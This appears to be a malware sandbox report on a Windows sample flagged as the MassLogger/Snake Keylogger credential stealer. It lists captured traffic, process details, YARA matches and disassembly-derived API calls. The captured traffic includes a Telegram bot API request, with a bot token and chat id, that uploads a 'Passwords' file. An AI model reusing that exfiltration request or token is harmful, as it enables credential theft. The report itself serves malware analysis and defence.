Jan 10, 2025 20:31:18.202204943 CET	321	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:31:18 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 61f0b861671af7f05aaf7545f35a9fc2 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49701	104.21.80.1	443	4836	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:31:11 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-10 19:31:11 UTC	859	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:31:11 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1852260 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mrIDpJGLQOvOcou%2Bob0R3FaqcIqCs%2FPUzTv8MXPqghCUk%2FV67VtOOf7Q%2BQwqh8mMuON8Br4xnfp0GWOwwJkHAwUn6wd%2FBAuMs5uWcFMazlWbMMRugCuOxR5SnMTgg5jFeoasq1e8"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fff15fd58967d0e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1989&min_rtt=1982&rtt_var=748&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1473259&cwnd=244&unsent_bytes=0&cid=3a519f199e025399&ts=203&x=0"
2025-01-10 19:31:11 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49713	149.154.167.220	443	4836	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:31:18 UTC	299	OUT	POST /bot7708662779:AAH6Et2SseJQ86UUKPaQRakBrlKtq8QtlJg/sendDocument?chat_id=5839829477&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd31837185c414 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 19:31:18 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 31 38 33 37 31 38 35 63 34 31 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd31837185c414Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 19:31:19 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 19:31:19 GMT Content-Type: application/json Content-Length: 561 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 19:31:19 UTC	561	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 39 35 35 30 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 30 38 36 36 32 37 37 39 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 4f 56 41 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6b 75 6c 6c 73 6e 6f 76 61 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 35 38 33 39 38 32 39 34 37 37 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 6b 77 61 6e 64 61 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 53 6b 75 6c 6c 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 42 69 67 34 6d 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 33 37 34 37 39 2c 22 64 6f 63 75 Data Ascii: {"ok":true,"result":{"message_id":95505,"from":{"id":7708662779,"is_bot":true,"first_name":"NOVA","username":"Skullsnovabot"},"chat":{"id":5839829477,"first_name":"Makwanda","last_name":"Skulls","username":"Big4m","type":"private"},"date":1736537479,"docu

Target ID:	0
Start time:	14:31:05
Start date:	10/01/2025
Path:	C:\Users\user\Desktop\y1jQC8Y6bP.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\y1jQC8Y6bP.exe"
Imagebase:	0x590000
File size:	950'784 bytes
MD5 hash:	71433D92643320E4C7A9E30C1120961D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_MassLogger, Description: Yara detected MassLogger RAT, Source: 00000000.00000002.1256149687.00000000011D0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1256149687.00000000011D0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000000.00000002.1256149687.00000000011D0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000000.00000002.1256149687.00000000011D0000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: MAL_Envrial_Jan18_1, Description: Detects Encrial credential stealer malware, Source: 00000000.00000002.1256149687.00000000011D0000.00000004.00001000.00020000.00000000.sdmp, Author: Florian Roth
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	14:31:05
Start date:	10/01/2025
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\y1jQC8Y6bP.exe"
Imagebase:	0xb50000
File size:	45'984 bytes
MD5 hash:	9D352BC46709F0CB5EC974633A0C3C94
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_MassLogger, Description: Yara detected MassLogger RAT, Source: 00000002.00000002.3721812954.0000000000402000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000002.3721812954.0000000000402000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000002.00000002.3721812954.0000000000402000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000002.00000002.3721812954.0000000000402000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_MassLogger, Description: Yara detected MassLogger RAT, Source: 00000002.00000002.3723875878.000000000306B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000002.3723875878.000000000306B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000002.00000002.3723875878.000000000306B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	3.8%
Dynamic/Decrypted Code Coverage:	0.4%
Signature Coverage:	2.8%
Total number of Nodes:	2000
Total number of Limit Nodes:	57

Executed Functions

Function 00593B3A Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 153
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00593B68
IsDebuggerPresent.KERNEL32 ref: 00593B7A
GetFullPathNameW.KERNEL32(00007FFF,?,?,006552F8,006552E0,?,?), ref: 00593BEB

Part of subcall function 00597BCC: _memmove.LIBCMT ref: 00597C06

Part of subcall function 005A092D: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,00593C14,006552F8,?,?,?), ref: 005A096E

SetCurrentDirectoryW.KERNEL32(?), ref: 00593C6F
MessageBoxA.USER32(00000000,This is a third-party compiled AutoIt script.,00647770,00000010), ref: 005CD281
SetCurrentDirectoryW.KERNEL32(?,006552F8,?,?,?), ref: 005CD2B9
GetForegroundWindow.USER32(runas,?,?,?,00000001,?,00644260,006552F8,?,?,?), ref: 005CD33F
ShellExecuteW.SHELL32(00000000,?,?), ref: 005CD346

Part of subcall function 00593A46: GetSysColorBrush.USER32(0000000F), ref: 00593A50
Part of subcall function 00593A46: LoadCursorW.USER32(00000000,00007F00), ref: 00593A5F
Part of subcall function 00593A46: LoadIconW.USER32(00000063), ref: 00593A76
Part of subcall function 00593A46: LoadIconW.USER32(000000A4), ref: 00593A88
Part of subcall function 00593A46: LoadIconW.USER32(000000A2), ref: 00593A9A
Part of subcall function 00593A46: LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 00593AC0
Part of subcall function 00593A46: RegisterClassExW.USER32(?), ref: 00593B16

Part of subcall function 005939D5: CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00593A03
Part of subcall function 005939D5: CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00593A24
Part of subcall function 005939D5: ShowWindow.USER32(00000000,?,?), ref: 00593A38
Part of subcall function 005939D5: ShowWindow.USER32(00000000,?,?), ref: 00593A41

Part of subcall function 0059434A: _memset.LIBCMT ref: 00594370
Part of subcall function 0059434A: Shell_NotifyIconW.SHELL32(00000000,?), ref: 00594415

Strings

%b, xrefs: 00593C44
This is a third-party compiled AutoIt script., xrefs: 005CD279
runas, xrefs: 005CD33A

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: LoadWindow$Icon$CurrentDirectory$CreateFullNamePathShow$BrushClassColorCursorDebuggerExecuteForegroundImageMessageNotifyPresentRegisterShellShell__memmove_memset
String ID: This is a third-party compiled AutoIt script.$runas$%b
API String ID: 529118366-201179265
Opcode ID: ac70da8bafe54e023213542c9c0ee17d60cbb6783d52b1226c3cde14f3456450
Instruction ID: d69e1b990aa6be93f92aea1453dc5358ef1e48033b8875432c61cee4a31fa98c
Opcode Fuzzy Hash: ac70da8bafe54e023213542c9c0ee17d60cbb6783d52b1226c3cde14f3456450
Instruction Fuzzy Hash: 6351C23090864AAECF01EBB4DC1EEFD7F76BF89701F04506AF412A21A2DA705B45CB21

Function 005949A0 Relevance: 10.7, APIs: 7, Instructions: 223
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExW.KERNEL32(?), ref: 005949CD

Part of subcall function 00597BCC: _memmove.LIBCMT ref: 00597C06

GetCurrentProcess.KERNEL32(?,0061FAEC,00000000,00000000,?), ref: 00594A9A
IsWow64Process.KERNEL32(00000000), ref: 00594AA1
GetNativeSystemInfo.KERNELBASE(00000000), ref: 00594AE7
FreeLibrary.KERNEL32(00000000), ref: 00594AF2
GetSystemInfo.KERNEL32(00000000), ref: 00594B23
GetSystemInfo.KERNEL32(00000000), ref: 00594B2F

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: InfoSystem$Process$CurrentFreeLibraryNativeVersionWow64_memmove
String ID:
API String ID: 1986165174-0
Opcode ID: bcfb478a2cc503f95537b1ebc4ddaeb04d56e4b73835f0825148fb4411e31086
Instruction ID: 1c0d2cdc1ceb798f12ac40f3337d10f0e83047abd722b9ebb91973f426a9b7ab
Opcode Fuzzy Hash: bcfb478a2cc503f95537b1ebc4ddaeb04d56e4b73835f0825148fb4411e31086
Instruction Fuzzy Hash: 4491CA315897C1DECB31DB688551AAEFFF6BF29300B444D6ED0C693641D234A909CB69

Function 00594E89 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?,?,?,?,?,00594D8E,?,?,00000000,00000000), ref: 00594E99
FindResourceExW.KERNEL32(?,0000000A,SCRIPT,00000000,?,?,00594D8E,?,?,00000000,00000000), ref: 00594EB0
LoadResource.KERNEL32(?,00000000,?,?,00594D8E,?,?,00000000,00000000,?,?,?,?,?,?,00594E2F), ref: 005CD937
SizeofResource.KERNEL32(?,00000000,?,?,00594D8E,?,?,00000000,00000000,?,?,?,?,?,?,00594E2F), ref: 005CD94C
LockResource.KERNEL32(00594D8E,?,?,00594D8E,?,?,00000000,00000000,?,?,?,?,?,?,00594E2F,00000000), ref: 005CD95F

Strings

SCRIPT, xrefs: 00594EA6

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: Resource$CreateFindGlobalLoadLockSizeofStream
String ID: SCRIPT
API String ID: 3051347437-3967369404
Opcode ID: 7d6bb430309c770df3df8a1e759f779d3c65f14f55d6875dbe0b81a2d1a1248f
Instruction ID: 6038a3fa9f9d2a9269aa6637dde3e4bf9dad70d7a032092978bc00d09a166fea
Opcode Fuzzy Hash: 7d6bb430309c770df3df8a1e759f779d3c65f14f55d6875dbe0b81a2d1a1248f
Instruction Fuzzy Hash: 24114C75240700AFDB218BA5EC48F677BBEFBC5B11F148269F40686250DB71EC018A61

Function 0059E6A0 Relevance: 7.4, Strings: 5, Instructions: 1102COMMON

Download Yara Rule

Strings

Dde, xrefs: 0059EABA
Dde, xrefs: 005D3AF5
Dde, xrefs: 0059EAC1
Dde, xrefs: 005D3B2E
Variable must be of type 'Object'., xrefs: 005D3E62

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID:
String ID: Dde$Dde$Dde$Dde$Variable must be of type 'Object'.
API String ID: 0-2271451664
Opcode ID: 1263016c9bdd9eb16ffcf2b22bae65204a48330f5f25f18e43b6dd7997231fe3
Instruction ID: 59032ad62cbbc95df39e37755f908a7a13cc96460c73c472f18177f8acb14596
Opcode Fuzzy Hash: 1263016c9bdd9eb16ffcf2b22bae65204a48330f5f25f18e43b6dd7997231fe3
Instruction Fuzzy Hash: AAA28D74A00205CFCF24CF98C486AAEBBB6FF59314F64846AE905AB351D735ED42CB91

Function 005F445A Relevance: 4.5, APIs: 3, Instructions: 25fileCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,005CE398), ref: 005F446A
FindFirstFileW.KERNELBASE(?,?), ref: 005F447B
FindClose.KERNEL32(00000000), ref: 005F448B

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: FileFind$AttributesCloseFirst
String ID:
API String ID: 48322524-0
Opcode ID: 39d422bedbde7329fef53fd11f9dfd497c091aa30743cb4940e826f225abb76f
Instruction ID: 85fe1e5c78b9985601d88b067f74d311724f41086a63474e1c7b73c0a9b7cef7
Opcode Fuzzy Hash: 39d422bedbde7329fef53fd11f9dfd497c091aa30743cb4940e826f225abb76f
Instruction Fuzzy Hash: E2E0D8324109046757106B78EC0D4FF7B5DAE05335F144716F935D10D0E7B85D0099D5

Function 005A09D0 Relevance: 64.3, APIs: 27, Strings: 9, Instructions: 1300windowsleeptimeCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 005A0A5B
timeGetTime.WINMM ref: 005A0D16
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 005A0E53
Sleep.KERNEL32(0000000A), ref: 005A0E61
LockWindowUpdate.USER32(00000000,?,?), ref: 005A0EFA
DestroyWindow.USER32 ref: 005A0F06
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 005A0F20
Sleep.KERNEL32(0000000A,?,?), ref: 005D4E83
TranslateMessage.USER32(?), ref: 005D5C60
DispatchMessageW.USER32(?), ref: 005D5C6E
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 005D5C82

Strings

pbe, xrefs: 005D4FAE
@GUI_CTRLID, xrefs: 005D4F3A
pbe, xrefs: 005D57B4
@TRAY_ID, xrefs: 005D578F
@COM_EVENTOBJ, xrefs: 005D54F0
pbe, xrefs: 005D4F59
@GUI_CTRLHANDLE, xrefs: 005D4FE4
@GUI_WINHANDLE, xrefs: 005D4F8F
pbe, xrefs: 005D5003

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: Message$PeekSleepWindow$DestroyDispatchLockTimeTranslateUpdatetime
String ID: @COM_EVENTOBJ$@GUI_CTRLHANDLE$@GUI_CTRLID$@GUI_WINHANDLE$@TRAY_ID$pbe$pbe$pbe$pbe
API String ID: 4212290369-3562088416
Opcode ID: bae70a9c57effcffe8853a0c2d01b582c8853c73fea8da4733ce51893de6f997
Instruction ID: e12cd4bf2156a7f2c32c58d827ad06a8b7eb8bd17aa94750f120834af3ea6762
Opcode Fuzzy Hash: bae70a9c57effcffe8853a0c2d01b582c8853c73fea8da4733ce51893de6f997
Instruction Fuzzy Hash: 2DB2A170608742DFDB24DF28C859BAEBFE5BF85304F14491EE58A972A1D770E844CB52

Function 005F9155 Relevance: 19.8, APIs: 13, Instructions: 322
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 005F8F5F: __time64.LIBCMT ref: 005F8F69

Part of subcall function 00594EE5: _fseek.LIBCMT ref: 00594EFD

__wsplitpath.LIBCMT ref: 005F9234

Part of subcall function 005B40FB: __wsplitpath_helper.LIBCMT ref: 005B413B

_wcscpy.LIBCMT ref: 005F9247
_wcscat.LIBCMT ref: 005F925A
__wsplitpath.LIBCMT ref: 005F927F
_wcscat.LIBCMT ref: 005F9295
_wcscat.LIBCMT ref: 005F92A8

Part of subcall function 005F8FA5: _memmove.LIBCMT ref: 005F8FDE
Part of subcall function 005F8FA5: _memmove.LIBCMT ref: 005F8FED

_wcscmp.LIBCMT ref: 005F91EF

Part of subcall function 005F9734: _wcscmp.LIBCMT ref: 005F9824
Part of subcall function 005F9734: _wcscmp.LIBCMT ref: 005F9837

DeleteFileW.KERNEL32(?,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?), ref: 005F9452
_wcsncpy.LIBCMT ref: 005F94C5
DeleteFileW.KERNEL32(?,?), ref: 005F94FB
CopyFileW.KERNEL32(?,?,00000000,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001), ref: 005F9511
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 005F9522
DeleteFileW.KERNELBASE(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 005F9534

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: File$Delete$_wcscat_wcscmp$__wsplitpath_memmove$Copy__time64__wsplitpath_helper_fseek_wcscpy_wcsncpy
String ID:
API String ID: 1500180987-0
Opcode ID: f25fb85119473123fb0e2fc128a535bc57b06e694d925cdebab4aedab212c7d1
Instruction ID: 92cf454a7b748500c4c9558cc2d6c8f10070e35a8de7885dc79f0ae7c2f26de3
Opcode Fuzzy Hash: f25fb85119473123fb0e2fc128a535bc57b06e694d925cdebab4aedab212c7d1
Instruction Fuzzy Hash: 31C13CB190021EAADF21DF95CC85EEEBBB9FF85310F0044AAF609E7151DB349A458F61

Function 00593015 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 73
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00593074
RegisterClassExW.USER32(00000030), ref: 0059309E
RegisterWindowMessageW.USER32(TaskbarCreated), ref: 005930AF
InitCommonControlsEx.COMCTL32(?), ref: 005930CC
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 005930DC
LoadIconW.USER32(000000A9), ref: 005930F2
ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00593101

Strings

+, xrefs: 0059305D
TaskbarCreated, xrefs: 005930A4
AutoIt v3 GUI, xrefs: 00593090
0, xrefs: 00593056

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: +$0$AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-1005189915
Opcode ID: ca3e1d53b90e5d67fb3dd7f2ab13feb96987e8713d797ea5645d196cf0e26c4c
Instruction ID: c30b6db1d53b828a67ac85eb9f25eecf57d339e91f2cccbc9692a38587b163de
